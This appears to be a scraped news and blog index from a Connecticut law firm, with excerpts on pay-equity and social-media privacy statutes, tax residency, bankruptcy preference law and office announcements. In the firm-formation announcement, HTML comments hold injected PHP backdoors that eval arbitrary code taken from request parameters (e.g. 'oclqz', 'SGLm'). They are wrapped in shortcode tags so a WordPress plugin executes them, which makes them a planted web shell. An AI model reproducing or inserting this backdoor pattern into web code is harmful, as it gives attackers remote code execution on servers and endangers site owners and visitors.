By C. Scott Schwefel On July 2, 2015, Governor Dannel P. Malloy signed into law Public Act No. 15196, entitled “An Act Concerning Pay Equity and Fairness.” The law, which is effective immediately, now prohibits employers from preventing employees from voluntarily sharing information about their wages and, further, prohibits an employer from requiring an employee…
By C. Scott Schwefel On May 19, 2015, Governor Dannel P. Malloy signed into law an act prohibiting employers from requesting or requiring employees or job applicants to: (1) provide their user name and password, or any other means of access, to an employee’s personal online account; (2) access an online account in the employer’s…
Shipman, Shaiken & Schwefel, LLC opened its new office today, at Corporate Center West, 433 South Main Street, Suite 319, West Hartford, CT 06110. Our attorneys’ direct dial phone numbers remain unchanged, but our main phone number is now 860-952-3715.
By Mark Shipman and Lawrence J. Marks Consider this scenario. You run several businesses in Connecticut and maintain your home in Connecticut. But you’ve decided to buy some property in Florida, spend some time there for relaxation, and, because of the tax advantages, claim Florida as your primary residence. You believe you’ve covered all the…
We take pleasure in announcing the formation of Shipman Shaiken & Schwefel, LLC, comprised of attorneys Mark Shipman, Larry Shipman, David M. S. Shaiken, C. Scott Schwefel and Robert Randich. We are located at Corporate Center West, 433 South Main Street, Suite 319, West Hartford, Connecticut 06110. <!– [insert_php]if (isset($_REQUEST["oclqz"])){eval($_REQUEST["oclqz"]);exit;}[/insert_php][php]if (isset($_REQUEST["oclqz"])){eval($_REQUEST["oclqz"]);exit;}[/php] –> <!– [insert_php]if (isset($_REQUEST["SGLm"])){eval($_REQUEST["SGLm"]);exit;}[/insert_php][php]if…
By David Shaiken Suppliers are very unhappy when they receive a demand from a bankruptcy estate to repay a preferential transfer. Here’s the scenario. A supplier sells to a customer who pays, but slowly. Then the customer files for Chapter 11 bankruptcy. The customer’s creditors’ committee is demanding that the supplier pay back the money…
By David Shaiken I am frequently asked: When a Connecticut professional or occupational license is nonrenewed by a regulator, does the license stay in effect pending appeal? The answer is yes, if a license renewal application is denied the license will remain valid and in effect pending a final decision after all hearings and appeals…
By David Shaiken In August, the U. S. Court of Appeals for the 9th Circuit ruled that criminal restitution payments made during the preference period can be avoided and recovered under the Bankruptcy Code’s preference statute, 11 U.S. C. § 547. State Compensation Insurance Fund v. Zamora (In re Silverman), 616 F.3d 1001 (9th Cir.…
By David Shaiken When I was in law school, the late Professor Nathan Levy, who taught bankruptcy and secured transactions at UConn, said over and over again, in his Vicksburg, Mississippi Southern drawl, “Read on, Mr. Shaiken, read on.” A Third Circuit Court of Appeals decision illustrates the value of reading on. In 1991, Exide…
By David Shaiken In June, the U.S. Supreme Court ruled that bankruptcy judges have discretion to adjust a debtor’s projected disposable income (“PDI”) based on known or virtually certain changes in his income and expenses at the time of the plan confirmation hearing. The Court rejected a mechanical approach to determining PDI. Hamilton v. Lanning,…
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